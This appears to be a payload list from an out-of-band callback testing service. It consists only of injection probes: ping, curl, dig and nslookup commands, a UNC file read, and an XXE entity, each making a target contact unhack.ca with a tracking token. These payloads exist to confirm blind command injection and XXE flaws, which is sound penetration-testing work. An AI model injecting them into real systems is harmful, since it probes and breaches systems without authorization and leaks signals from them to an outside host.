$ ping -c1 -p 00b534b91419bdb80760921ee5ce1b00 unhack.ca
 

$ curl http://unhack.ca/p/b534b91419bdb80760921ee5ce1b
 

$ dig b534b91419bdb80760921ee5ce1b @unhack.ca
 

$ dig b534b91419bdb80760921ee5ce1b.ns.unhack.ca
 

C:\> nslookup b534b91419bdb80760921ee5ce1b unhack.ca
 

C:\> type \\unhack.ca\b534b91419bdb80760921ee5ce1b\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b534b91419bdb80760921ee5ce1b">]>
    <foo>&xxe;</foo>